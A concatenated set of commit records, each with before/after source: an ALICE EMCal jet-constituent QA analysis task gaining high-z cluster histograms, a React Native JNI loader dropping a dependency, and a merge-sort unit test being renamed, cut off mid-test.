notice, this list of conditions and the following disclaimer in the *\n * documentation and\/or other materials provided with the distribution. *\n * * Neither the name of the <organization> nor the *\n * names of its contributors may be used to endorse or promote products *\n * derived from this software without specific prior written permission. *\n * *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND *\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED *\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *\n * DISCLAIMED. IN NO EVENT SHALL ALICE COLLABORATION BE LIABLE FOR ANY *\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES *\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; *\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND *\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *\n ************************************************************************************\/\n#include <array>\n#include <cmath>\n#include <iomanip>\n#include <iostream>\n#include <sstream>\n#include <string>\n#include <THistManager.h>\n#include <TLinearBinning.h>\n#include <TLorentzVector.h>\n\n#include \"AliAnalysisManager.h\"\n#include \"AliAnalysisTaskEmcalJetConstituentQA.h\"\n#include \"AliAODInputHandler.h\"\n#include \"AliClusterContainer.h\"\n#include \"AliEmcalAnalysisFactory.h\"\n#include \"AliEmcalTriggerDecisionContainer.h\"\n#include \"AliEmcalJet.h\"\n#include \"AliInputEventHandler.h\"\n#include \"AliJetContainer.h\"\n#include \"AliLog.h\"\n#include \"AliTrackContainer.h\"\n#include \"AliVCluster.h\"\n#include \"AliVEvent.h\"\n#include \"AliVTrack.h\"\n\n\/\/\/ \\cond CLASSIMP\nClassImp(EmcalTriggerJets::AliAnalysisTaskEmcalJetConstituentQA);\n\/\/\/ \\endcond\n\nusing namespace EmcalTriggerJets;\n\nAliAnalysisTaskEmcalJetConstituentQA::AliAnalysisTaskEmcalJetConstituentQA():\n AliAnalysisTaskEmcalJet(),\n fHistos(nullptr),\n fNameTrackContainer(\"\"),\n fNameClusterContainer(\"\"),\n fTriggerSelectionString(\"\"),\n fUseTriggerSelection(kFALSE),\n fNameTriggerDecisionContainer(\"EmcalTriggerDecision\")\n{\n this->SetUseAliAnaUtils(true);\n}\n\nAliAnalysisTaskEmcalJetConstituentQA::AliAnalysisTaskEmcalJetConstituentQA(const char *name):\n AliAnalysisTaskEmcalJet(name, true),\n fHistos(nullptr),\n fNameTrackContainer(\"\"),\n fNameClusterContainer(\"\"),\n fTriggerSelectionString(\"\"),\n fUseTriggerSelection(kFALSE),\n fNameTriggerDecisionContainer(\"EmcalTriggerDecision\")\n{\n this->SetUseAliAnaUtils(true);\n}\n\nAliAnalysisTaskEmcalJetConstituentQA::~AliAnalysisTaskEmcalJetConstituentQA(){\n if(fHistos) delete fHistos;\n}\n\nvoid AliAnalysisTaskEmcalJetConstituentQA::UserCreateOutputObjects(){\n AliAnalysisTaskEmcalJet::UserCreateOutputObjects();\n\n TLinearBinning binningz(50, 0., 1), multbinning(51, -0.5, 50.5), binningnef(50, 0., 1.), binningptconst(200, 0., 200.), binningptjet(20, 0., 200.);\n\n const TBinning *jetbinning[4] = {&binningptjet, &binningnef, &multbinning, &multbinning},\n *chargedbinning[6] = {&binningptjet, &binningnef, &multbinning, &multbinning, &binningptconst, &binningz},\n *neutralbinning[7] = {&binningptjet, &binningnef, &multbinning, &multbinning, &binningptconst, &binningptconst, &binningz};\n\n fHistos = new THistManager(Form(\"histos_%s\", GetName()));\n for(auto c : fNamesJetContainers){\n auto contname = dynamic_cast<TObjString *>(c);\n if(!contname) continue;\n fHistos->CreateTHnSparse(Form(\"hJetCounter%s\", contname->String().Data()), Form(\"jet counter for jets %s\", contname->String().Data()), 4, jetbinning);\n fHistos->CreateTHnSparse(Form(\"hChargedConstituents%s\", contname->String().Data()), Form(\"charged constituents in jets %s\", contname->String().Data()), 6, chargedbinning);\n fHistos->CreateTHnSparse(Form(\"hNeutralConstituents%s\", contname->String().Data()), Form(\"neutral constituents in jets %s\", contname->String().Data()), 7, neutralbinning);\n }\n\n for(auto h : *(fHistos->GetListOfHistograms())) fOutput->Add(h); \n PostData(1, fOutput);\n}\n\nbool AliAnalysisTaskEmcalJetConstituentQA::Run(){\n AliParticleContainer * tracks = GetTrackContainer(fNameTrackContainer);\n if(!tracks) tracks = GetParticleContainer(fNameTrackContainer);\n const auto clusters = GetClusterContainer(fNameClusterContainer);\n if(fNameTrackContainer.Length() && !tracks){\n AliErrorStream() << \"Track container \" << fNameTrackContainer << \" required but missing ...\" << std::endl;\n return kFALSE;\n }\n if(fNameClusterContainer.Length() && !clusters){\n AliErrorStream() << \"Cluster container \" << fNameClusterContainer << \" required but missing ...\" << std::endl;\n return kFALSE;\n }\n\n \/\/ Event selection\n AliDebugStream(1) << \"Trigger selection string: \" << fTriggerSelectionString << \", fired trigger classes: \" << fInputEvent->GetFiredTriggerClasses() << std::endl;\n if(fTriggerSelectionString.Contains(\"INT7\")){\n \/\/ INT7 trigger\n if(!(fInputHandler->IsEventSelected() & AliVEvent::kINT7)) return false;\n } else if(fTriggerSelectionString.Contains(\"EJ\")){\n auto triggerclass = fTriggerSelectionString(fTriggerSelectionString.Index(\"EJ\"),3); \/\/ cleanup trigger string from possible tags\n AliDebugStream(1) << \"Inspecting trigger class \" << triggerclass << std::endl;\n \/\/ EMCAL JET trigger\n if(!fMCEvent){ \/\/ Running on Data\n if(!(fInputHandler->IsEventSelected() & AliVEvent::kEMCEJE)) return false;\n if(!fInputEvent->GetFiredTriggerClasses().Contains(triggerclass)) return false;\n }\n\n if(fUseTriggerSelection) {\n auto triggerdecisions = dynamic_cast<PWG::EMCAL::AliEmcalTriggerDecisionContainer *>(fInputEvent->FindListObject(fNameTriggerDecisionContainer.Data()));\n if(!triggerdecisions) {\n AliErrorStream() << \"No offline trigger selection available\" << std::endl;\n return false;\n }\n else if(!triggerdecisions->IsEventSelected(triggerclass.Data())) return false;\n }\n } else return false;\n\n AliDebugStream(1) << \"Event is selected\" << std::endl;\n\n for(auto jc : fNamesJetContainers){\n auto contname = dynamic_cast<TObjString *>(jc);\n if(!contname) {\n AliErrorStream() << \"Non-string object in the list of jet container names\" << std::endl;\n continue;\n } \n const auto jetcont = GetJetContainer(contname->String().Data());\n if(!jetcont){\n AliErrorStream() << \"Jet container with name \" << contname->String() << \" not found in the list of jet containers\" << std::endl;\n continue;\n } \n AliDebugStream(2) << \"Reading \" << jetcont->GetArray()->GetName() << std::endl;\n\n for(auto jet : jetcont->accepted()){\n AliDebugStream(3) << \"Next accepted jet, found \" << jet->GetNumberOfTracks() << \" tracks and \" << jet->GetNumberOfClusters() << \" clusters.\" << std::endl;\n Double_t pointjet[4] = {std::abs(jet->Pt()), jet->NEF(), static_cast<double>(jet->GetNumberOfTracks()), static_cast<double>(jet->GetNumberOfClusters())}, \n pointcharged[6] = {std::abs(jet->Pt()), jet->NEF(), static_cast<double>(jet->GetNumberOfTracks()), static_cast<double>(jet->GetNumberOfClusters()), -1., 1.}, \n pointneutral[7] = {std::abs(jet->Pt()), jet->NEF(), static_cast<double>(jet->GetNumberOfTracks()), static_cast<double>(jet->GetNumberOfClusters()), -1., 1., -1.};\n fHistos->FillTHnSparse(Form(\"hJetCounter%s\", contname->String().Data()), pointjet);\n if(tracks){\n for(decltype(jet->GetNumberOfTracks()) itrk = 0; itrk < jet->GetNumberOfTracks(); itrk++){\n const auto trk = jet->TrackAt(itrk, tracks->GetArray());\n if(!trk) continue;\n if(trk->Charge()){\n pointcharged[4] = std::abs(trk->Pt());\n pointcharged[5] = std::abs(jet->GetZ(trk));\n fHistos->FillTHnSparse(Form(\"hChargedConstituents%s\", contname->String().Data()), pointcharged);\n } else {\n \/\/ particle level jets\n pointneutral[4] = pointneutral[5] = std::abs(trk->E());\n pointneutral[6] = std::abs(jet->GetZ(trk));\n fHistos->FillTHnSparse(Form(\"hNeutralConstituents%s\", contname->String().Data()), pointneutral);\n }\n }\n }\n if(clusters){\n for(decltype(jet->GetNumberOfClusters()) icl = 0; icl < jet->GetNumberOfClusters(); icl++){\n const auto clust = jet->ClusterAt(icl, clusters->GetArray());\n if(!clust) continue; \n TLorentzVector ptvec;\n clust->GetMomentum(ptvec, this->fVertex, AliVCluster::kHadCorr);\n pointneutral[4] = std::abs(clust->GetHadCorrEnergy());\n pointneutral[5] = std::abs(clust->GetNonLinCorrEnergy());\n pointneutral[6] = jet->GetZ(ptvec.Px(), ptvec.Py(), ptvec.Pz());\n fHistos->FillTHnSparse(Form(\"hNeutralConstituents%s\", contname->String().Data()), pointneutral);\n }\n }\n }\n }\n \n return kTRUE;\n}\n\nAliAnalysisTaskEmcalJetConstituentQA *AliAnalysisTaskEmcalJetConstituentQA::AddTaskEmcalJetConstituentQA(const char *trigger, bool partmode){\n using AnalysisHelpers = EMCalTriggerPtAnalysis::AliEmcalAnalysisFactory;\n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if(!mgr) {\n std::cerr << \"[AliAnalysisTaskJetConstituentQA::AddTaskEmcalJetConstituentQA(EE)] No analysis manager provided ...\" << std::endl;\n return nullptr;\n }\n \n std::stringstream taskname;\n taskname << \"constituentQA_\" << trigger;\n auto task = new AliAnalysisTaskEmcalJetConstituentQA(taskname.str().data());\n task->SetTriggerSelection(trigger);\n mgr->AddTask(task);\n\n auto inputhandler = mgr->GetInputEventHandler();\n auto isAOD = false;\n if(inputhandler->IsA() == AliAODInputHandler::Class()) isAOD = true;\n\n TString tracksname, clustername;\n AliParticleContainer *tracks(nullptr);\n AliClusterContainer *clusters(nullptr);\n if(!partmode) {\n tracksname = AnalysisHelpers::TrackContainerNameFactory(isAOD);\n tracks = task->AddTrackContainer(tracksname);\n task->SetNameTrackContainer(tracksname);\n tracks->SetMinPt(0.15);\n\n clustername = AnalysisHelpers::ClusterContainerNameFactory(isAOD);\n clusters = task->AddClusterContainer(clustername);\n task->SetNameClusterContainer(clustername);\n clusters->SetDefaultClusterEnergy(AliVCluster::kHadCorr);\n clusters->SetClusHadCorrEnergyCut(0.3);\n } else {\n tracksname = \"mcparticles\";\n tracks = task->AddParticleContainer(tracksname);\n task->SetNameTrackContainer(tracksname);\n tracks->SetMinPt(0.);\n }\n\n \/\/ create jet containers for R02 and R04 jets\n std::array<double, 2> jetradii = {{0.2, 0.4}};\n for(auto r : jetradii) {\n std::stringstream contname;\n contname << \"fulljets_R\" << std::setw(2) << std::setfill('0') << int(r*10.);\n auto jcont = task->AddJetContainer(AliJetContainer::kFullJet, AliJetContainer::antikt_algorithm, AliJetContainer::E_scheme, r, AliJetContainer::kEMCALfid, tracks, clusters, \"Jet\");\n jcont->SetName(contname.str().data());\n task->AddNameJetContainer(contname.str().data());\n jcont->SetMinPt(20.);\n }\n\n std::stringstream contname, outfilename;\n contname << \"JetConstituentQA_\" << trigger;\n outfilename << mgr->GetCommonFileName() << \":JetConstituentQA_\" << trigger;\n if(partmode) {\n contname << \"_part\";\n outfilename << \"_part\";\n }\n mgr->ConnectInput(task, 0, mgr->GetCommonInputContainer());\n mgr->ConnectOutput(task, 1, mgr->CreateContainer(contname.str().data(), AliEmcalList::Class(), AliAnalysisManager::kOutputContainer, outfilename.str().data()));\n\n return task;\n}\n<commit_msg>[Histo] Monitor cluster constituents with high z<commit_after>\/************************************************************************************\n * Copyright (C) 2017, Copyright Holders of the ALICE Collaboration *\n * All rights reserved. *\n * *\n * Redistribution and use in source and binary forms, with or without *\n * modification, are permitted provided that the following conditions are met: *\n * * Redistributions of source code must retain the above copyright *\n * notice, this list of conditions and the following disclaimer. *\n * * Redistributions in binary form must reproduce the above copyright *\n * notice, this list of conditions and the following disclaimer in the *\n * documentation and\/or other materials provided with the distribution. *\n * * Neither the name of the <organization> nor the *\n * names of its contributors may be used to endorse or promote products *\n * derived from this software without specific prior written permission. *\n * *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND *\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED *\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE *\n * DISCLAIMED. IN NO EVENT SHALL ALICE COLLABORATION BE LIABLE FOR ANY *\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES *\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; *\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND *\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS *\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *\n ************************************************************************************\/\n#include <algorithm>\n#include <array>\n#include <cmath>\n#include <iomanip>\n#include <iostream>\n#include <sstream>\n#include <string>\n#include <THistManager.h>\n#include <TLinearBinning.h>\n#include <TLorentzVector.h>\n#include <TVector3.h>\n\n#include \"AliAnalysisManager.h\"\n#include \"AliAnalysisTaskEmcalJetConstituentQA.h\"\n#include \"AliAODInputHandler.h\"\n#include \"AliClusterContainer.h\"\n#include \"AliEmcalAnalysisFactory.h\"\n#include \"AliEmcalTriggerDecisionContainer.h\"\n#include \"AliEmcalJet.h\"\n#include \"AliInputEventHandler.h\"\n#include \"AliJetContainer.h\"\n#include \"AliLog.h\"\n#include \"AliTrackContainer.h\"\n#include \"AliVCluster.h\"\n#include \"AliVEvent.h\"\n#include \"AliVTrack.h\"\n\n\/\/\/ \\cond CLASSIMP\nClassImp(EmcalTriggerJets::AliAnalysisTaskEmcalJetConstituentQA);\n\/\/\/ \\endcond\n\nusing namespace EmcalTriggerJets;\n\nAliAnalysisTaskEmcalJetConstituentQA::AliAnalysisTaskEmcalJetConstituentQA():\n AliAnalysisTaskEmcalJet(),\n fHistos(nullptr),\n fNameTrackContainer(\"\"),\n fNameClusterContainer(\"\"),\n fTriggerSelectionString(\"\"),\n fUseTriggerSelection(kFALSE),\n fNameTriggerDecisionContainer(\"EmcalTriggerDecision\")\n{\n this->SetUseAliAnaUtils(true);\n}\n\nAliAnalysisTaskEmcalJetConstituentQA::AliAnalysisTaskEmcalJetConstituentQA(const char *name):\n AliAnalysisTaskEmcalJet(name, true),\n fHistos(nullptr),\n fNameTrackContainer(\"\"),\n fNameClusterContainer(\"\"),\n fTriggerSelectionString(\"\"),\n fUseTriggerSelection(kFALSE),\n fNameTriggerDecisionContainer(\"EmcalTriggerDecision\")\n{\n this->SetUseAliAnaUtils(true);\n}\n\nAliAnalysisTaskEmcalJetConstituentQA::~AliAnalysisTaskEmcalJetConstituentQA(){\n if(fHistos) delete fHistos;\n}\n\nvoid AliAnalysisTaskEmcalJetConstituentQA::UserCreateOutputObjects(){\n AliAnalysisTaskEmcalJet::UserCreateOutputObjects();\n\n TLinearBinning binningz(50, 0., 1), multbinning(51, -0.5, 50.5), binningnef(50, 0., 1.), binningR(50, 0., 0.5), binningptconst(200, 0., 200.), binningptjet(20, 0., 200.),\n binningNCell(101, -0.5, 100.5), binningFracCellLeading(100, 0., 1.), binningM02(100, 0., 1.);\n\n const TBinning *jetbinning[4] = {&binningptjet, &binningnef, &multbinning, &multbinning},\n *chargedbinning[7] = {&binningptjet, &binningnef, &multbinning, &multbinning, &binningptconst, &binningz, &binningR},\n *neutralbinning[8] = {&binningptjet, &binningnef, &multbinning, &multbinning, &binningptconst, &binningptconst, &binningz, &binningR},\n *binningHighZClusters[7] = {&binningptjet, &binningnef, &binningptconst, &binningz, &binningNCell, &binningFracCellLeading, &binningM02};\n\n fHistos = new THistManager(Form(\"histos_%s\", GetName()));\n for(auto c : fNamesJetContainers){\n auto contname = dynamic_cast<TObjString *>(c);\n if(!contname) continue;\n fHistos->CreateTHnSparse(Form(\"hJetCounter%s\", contname->String().Data()), Form(\"jet counter for jets %s\", contname->String().Data()), 4, jetbinning);\n fHistos->CreateTHnSparse(Form(\"hChargedConstituents%s\", contname->String().Data()), Form(\"charged constituents in jets %s\", contname->String().Data()), 7, chargedbinning);\n fHistos->CreateTHnSparse(Form(\"hNeutralConstituents%s\", contname->String().Data()), Form(\"neutral constituents in jets %s\", contname->String().Data()), 8, neutralbinning);\n fHistos->CreateTHnSparse(Form(\"hHighZClusters\"), \"Properties of high-z clusters\", 7, binningHighZClusters);\n }\n\n for(auto h : *(fHistos->GetListOfHistograms())) fOutput->Add(h); \n PostData(1, fOutput);\n}\n\nbool AliAnalysisTaskEmcalJetConstituentQA::Run(){\n AliParticleContainer * tracks = GetTrackContainer(fNameTrackContainer);\n if(!tracks) tracks = GetParticleContainer(fNameTrackContainer);\n const auto clusters = GetClusterContainer(fNameClusterContainer);\n if(fNameTrackContainer.Length() && !tracks){\n AliErrorStream() << \"Track container \" << fNameTrackContainer << \" required but missing ...\" << std::endl;\n return kFALSE;\n }\n if(fNameClusterContainer.Length() && !clusters){\n AliErrorStream() << \"Cluster container \" << fNameClusterContainer << \" required but missing ...\" << std::endl;\n return kFALSE;\n }\n\n \/\/ Event selection\n AliDebugStream(1) << \"Trigger selection string: \" << fTriggerSelectionString << \", fired trigger classes: \" << fInputEvent->GetFiredTriggerClasses() << std::endl;\n if(fTriggerSelectionString.Contains(\"INT7\")){\n \/\/ INT7 trigger\n if(!(fInputHandler->IsEventSelected() & AliVEvent::kINT7)) return false;\n } else if(fTriggerSelectionString.Contains(\"EJ\")){\n auto triggerclass = fTriggerSelectionString(fTriggerSelectionString.Index(\"EJ\"),3); \/\/ cleanup trigger string from possible tags\n AliDebugStream(1) << \"Inspecting trigger class \" << triggerclass << std::endl;\n \/\/ EMCAL JET trigger\n if(!fMCEvent){ \/\/ Running on Data\n if(!(fInputHandler->IsEventSelected() & AliVEvent::kEMCEJE)) return false;\n if(!fInputEvent->GetFiredTriggerClasses().Contains(triggerclass)) return false;\n }\n\n if(fUseTriggerSelection) {\n auto triggerdecisions = dynamic_cast<PWG::EMCAL::AliEmcalTriggerDecisionContainer *>(fInputEvent->FindListObject(fNameTriggerDecisionContainer.Data()));\n if(!triggerdecisions) {\n AliErrorStream() << \"No offline trigger selection available\" << std::endl;\n return false;\n }\n else if(!triggerdecisions->IsEventSelected(triggerclass.Data())) return false;\n }\n } else return false;\n\n AliDebugStream(1) << \"Event is selected\" << std::endl;\n\n for(auto jc : fNamesJetContainers){\n auto contname = dynamic_cast<TObjString *>(jc);\n if(!contname) {\n AliErrorStream() << \"Non-string object in the list of jet container names\" << std::endl;\n continue;\n } \n const auto jetcont = GetJetContainer(contname->String().Data());\n if(!jetcont){\n AliErrorStream() << \"Jet container with name \" << contname->String() << \" not found in the list of jet containers\" << std::endl;\n continue;\n } \n AliDebugStream(2) << \"Reading \" << jetcont->GetArray()->GetName() << std::endl;\n\n for(auto jet : jetcont->accepted()){\n AliDebugStream(3) << \"Next accepted jet, found \" << jet->GetNumberOfTracks() << \" tracks and \" << jet->GetNumberOfClusters() << \" clusters.\" << std::endl;\n Double_t pointjet[4] = {std::abs(jet->Pt()), jet->NEF(), static_cast<double>(jet->GetNumberOfTracks()), static_cast<double>(jet->GetNumberOfClusters())}, \n pointcharged[7] = {std::abs(jet->Pt()), jet->NEF(), static_cast<double>(jet->GetNumberOfTracks()), static_cast<double>(jet->GetNumberOfClusters()), -1., 1., -1.}, \n pointneutral[8] = {std::abs(jet->Pt()), jet->NEF(), static_cast<double>(jet->GetNumberOfTracks()), static_cast<double>(jet->GetNumberOfClusters()), -1., 1., -1., -1.},\n pointHighZCluster[7] = {std::abs(jet->Pt()), jet->NEF(), -1., -1., -1., -1., -1.};\n fHistos->FillTHnSparse(Form(\"hJetCounter%s\", contname->String().Data()), pointjet);\n TVector3 jetvec{jet->Px(), jet->Py(), jet->Pz()};\n if(tracks){\n for(decltype(jet->GetNumberOfTracks()) itrk = 0; itrk < jet->GetNumberOfTracks(); itrk++){\n const auto trk = jet->TrackAt(itrk, tracks->GetArray());\n if(!trk) continue;\n if(trk->Charge()){\n pointcharged[4] = std::abs(trk->Pt());\n pointcharged[5] = std::abs(jet->GetZ(trk));\n pointcharged[6] = jet->DeltaR(trk);\n fHistos->FillTHnSparse(Form(\"hChargedConstituents%s\", contname->String().Data()), pointcharged);\n } else {\n \/\/ particle level jets\n pointneutral[4] = pointneutral[5] = std::abs(trk->E());\n pointneutral[6] = std::abs(jet->GetZ(trk));\n pointneutral[7] = jet->DeltaR(trk);\n fHistos->FillTHnSparse(Form(\"hNeutralConstituents%s\", contname->String().Data()), pointneutral);\n }\n }\n }\n if(clusters){\n for(decltype(jet->GetNumberOfClusters()) icl = 0; icl < jet->GetNumberOfClusters(); icl++){\n const auto clust = jet->ClusterAt(icl, clusters->GetArray());\n if(!clust) continue; \n TLorentzVector ptvec;\n clust->GetMomentum(ptvec, this->fVertex, AliVCluster::kHadCorr);\n pointneutral[4] = std::abs(clust->GetHadCorrEnergy());\n pointneutral[5] = std::abs(clust->GetNonLinCorrEnergy());\n pointneutral[6] = jet->GetZ(ptvec.Px(), ptvec.Py(), ptvec.Pz());\n pointneutral[7] = jetvec.DeltaR(ptvec.Vect());\n fHistos->FillTHnSparse(Form(\"hNeutralConstituents%s\", contname->String().Data()), pointneutral);\n\n if(pointneutral[6] > 0.95) {\n pointHighZCluster[2] = pointneutral[4];\n pointHighZCluster[3] = pointneutral[6];\n pointHighZCluster[4] = clust->GetNCells();\n pointHighZCluster[5] = *std::max_element(clust->GetCellsAmplitudeFraction(), clust->GetCellsAmplitudeFraction()+clust->GetNCells());\n pointHighZCluster[6] = clust->GetM02();\n fHistos->FillTHnSparse(\"hHighZClusters\", pointHighZCluster);\n }\n }\n }\n }\n }\n \n return kTRUE;\n}\n\nAliAnalysisTaskEmcalJetConstituentQA *AliAnalysisTaskEmcalJetConstituentQA::AddTaskEmcalJetConstituentQA(const char *trigger, bool partmode){\n using AnalysisHelpers = EMCalTriggerPtAnalysis::AliEmcalAnalysisFactory;\n AliAnalysisManager *mgr = AliAnalysisManager::GetAnalysisManager();\n if(!mgr) {\n std::cerr << \"[AliAnalysisTaskJetConstituentQA::AddTaskEmcalJetConstituentQA(EE)] No analysis manager provided ...\" << std::endl;\n return nullptr;\n }\n \n std::stringstream taskname;\n taskname << \"constituentQA_\" << trigger;\n auto task = new AliAnalysisTaskEmcalJetConstituentQA(taskname.str().data());\n task->SetTriggerSelection(trigger);\n mgr->AddTask(task);\n\n auto inputhandler = mgr->GetInputEventHandler();\n auto isAOD = false;\n if(inputhandler->IsA() == AliAODInputHandler::Class()) isAOD = true;\n\n TString tracksname, clustername;\n AliParticleContainer *tracks(nullptr);\n AliClusterContainer *clusters(nullptr);\n if(!partmode) {\n tracksname = AnalysisHelpers::TrackContainerNameFactory(isAOD);\n tracks = task->AddTrackContainer(tracksname);\n task->SetNameTrackContainer(tracksname);\n tracks->SetMinPt(0.15);\n\n clustername = AnalysisHelpers::ClusterContainerNameFactory(isAOD);\n clusters = task->AddClusterContainer(clustername);\n task->SetNameClusterContainer(clustername);\n clusters->SetDefaultClusterEnergy(AliVCluster::kHadCorr);\n clusters->SetClusHadCorrEnergyCut(0.3);\n } else {\n tracksname = \"mcparticles\";\n tracks = task->AddParticleContainer(tracksname);\n task->SetNameTrackContainer(tracksname);\n tracks->SetMinPt(0.);\n }\n\n \/\/ create jet containers for R02 and R04 jets\n std::array<double, 2> jetradii = {{0.2, 0.4}};\n for(auto r : jetradii) {\n std::stringstream contname;\n contname << \"fulljets_R\" << std::setw(2) << std::setfill('0') << int(r*10.);\n auto jcont = task->AddJetContainer(AliJetContainer::kFullJet, AliJetContainer::antikt_algorithm, AliJetContainer::E_scheme, r, AliJetContainer::kEMCALfid, tracks, clusters, \"Jet\");\n jcont->SetName(contname.str().data());\n task->AddNameJetContainer(contname.str().data());\n jcont->SetMinPt(20.);\n }\n\n std::stringstream contname, outfilename;\n contname << \"JetConstituentQA_\" << trigger;\n outfilename << mgr->GetCommonFileName() << \":JetConstituentQA_\" << trigger;\n if(partmode) {\n contname << \"_part\";\n outfilename << \"_part\";\n }\n mgr->ConnectInput(task, 0, mgr->GetCommonInputContainer());\n mgr->ConnectOutput(task, 1, mgr->CreateContainer(contname.str().data(), AliEmcalList::Class(), AliAnalysisManager::kOutputContainer, outfilename.str().data()));\n\n return task;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#include <fb\/xplat_init.h>\n#include <fbjni\/fbjni.h>\n\n#include \"Binding.h\"\n#include \"EventBeatManager.h\"\n#include \"EventEmitterWrapper.h\"\n#include \"StateWrapperImpl.h\"\n\nJNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *) {\n return facebook::xplat::initialize(vm, [] {\n facebook::react::Binding::registerNatives();\n facebook::react::EventBeatManager::registerNatives();\n facebook::react::EventEmitterWrapper::registerNatives();\n facebook::react::StateWrapperImpl::registerNatives();\n facebook::react::ComponentFactoryDelegate::registerNatives();\n });\n}\n<commit_msg>Remove fb\/xplat_init dependency<commit_after>\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#include <fbjni\/fbjni.h>\n\n#include \"Binding.h\"\n#include \"EventBeatManager.h\"\n#include \"EventEmitterWrapper.h\"\n#include \"StateWrapperImpl.h\"\n\nJNIEXPORT jint JNICALL JNI_OnLoad(JavaVM *vm, void *) {\n return facebook::jni::initialize(vm, [] {\n facebook::react::Binding::registerNatives();\n facebook::react::EventBeatManager::registerNatives();\n facebook::react::EventEmitterWrapper::registerNatives();\n facebook::react::StateWrapperImpl::registerNatives();\n facebook::react::ComponentFactoryDelegate::registerNatives();\n });\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream> \/\/ std::cout\n#include <stdlib.h> \/\/ rand()\n#include <time.h> \/\/ time()\n\n#include \"gtest\/gtest.h\"\n\n#include \"sorting.h\"\n#include \"printarray.h\"\n#include \"verifyarrays.h\"\n\n#define quiet\n\n\/\/ *********************************************************************\nTEST(EfficientSorts, MergeSortRecursive)\n{\n const int N = 4;\n\n double *to_sort_data = new double[N];\n double *sorted_data = new double[N];\n\n \/\/ Initialize the array with random values between 1 and 100\n \/\/ NOTE: rand() is a terrible pseudo-random number generator (PRNG).\n \/\/ It is still used here for a simple testing task, but don't use it\n \/\/ for anything serious.\n srand(time(NULL));\n for (int i = 0 ; i < N ; i++)\n {\n to_sort_data[i] = rand() % 100 + 1;\n }\n to_sort_data[0] = 6.0;\n to_sort_data[1] = 5.0;\n to_sort_data[2] = 3.0;\n to_sort_data[3] = 1.0;\n\n memcpy(sorted_data, to_sort_data, N*sizeof(double));\n\n sorting::efficient::MergeSort(sorted_data, N);\n\n#ifndef quiet\n std::cout << \"Arrays\" << std::endl;\n std::cout << \"Index Original Sorted \" << std::endl;\n for (int i = 0 ; i < N ; i++)\n {\n std::cout << i+1 << \"\/\" << N << \" \"\n << to_sort_data[i] << \" \"\n << sorted_data[i] << std::endl;\n }\n#endif \/\/ quiet\n\n for (int i = 1 ; i < N ; i++)\n {\n EXPECT_GE(sorted_data[i], sorted_data[i-1]);\n }\n\n for (int i = 0 ; i < N ; i++)\n {\n EXPECT_NE(sorted_data[i], 0);\n }\n ASSERT_TRUE(VerifyIfAllNotNaN(sorted_data, N));\n ASSERT_TRUE(VerifyIfOrdered(sorted_data, N));\n ASSERT_TRUE(VerifySortedUnique(to_sort_data, sorted_data, N));\n\n delete[] to_sort_data;\n delete[] sorted_data;\n}\n<commit_msg>Rename test since merge sort is not recursive<commit_after>#include <iostream> \/\/ std::cout\n#include <stdlib.h> \/\/ rand()\n#include <time.h> \/\/ time()\n\n#include \"gtest\/gtest.h\"\n\n#include \"sorting.h\"\n#include \"printarray.h\"\n#include \"verifyarrays.h\"\n\n#define quiet\n\n\/\/ *********************************************************************\nTEST(EfficientSorts, MergeSort)\n{\n const int N = 4;\n\n double *to_sort_data = new double[N];\n double *sorted_data = new double[N];\n\n \/\/ Initialize the array with random values between 1 and 100\n \/\/ NOTE: rand() is a terrible pseudo-random number generator (PRNG).\n \/\/ It is still used here for a simple testing task, but don't use it\n \/\/ for anything serious.\n srand(time(NULL));\n for (int i = 0 ; i < N ; i++)\n {\n to_sort_data[i] = rand() % 100 + 1;\n }\n to_sort_data[0] = 6.0;\n to_sort_data[1] = 5.0;\n to_sort_data[2] = 3.0;\n to_sort_data[3] = 1.0;\n\n memcpy(sorted_data, to_sort_data, N*sizeof(double));\n\n sorting::efficient::MergeSort(sorted_data, N);\n\n#ifndef quiet\n std::cout << \"Arrays\" << std::endl;\n std::cout << \"Index Original Sorted \" << std::endl;\n for (int i = 0 ; i < N ; i++)\n {\n std::cout << i+1 << \"\/\" << N << \" \"\n << to_sort_data[i] << \" \"\n << sorted_data[i] << std::endl;\n }\n#endif \/\/ quiet\n\n for (int i = 1 ; i < N ; i++)\n {\n EXPECT_GE(sorted_data[i], sorted_data[i-1]);\n 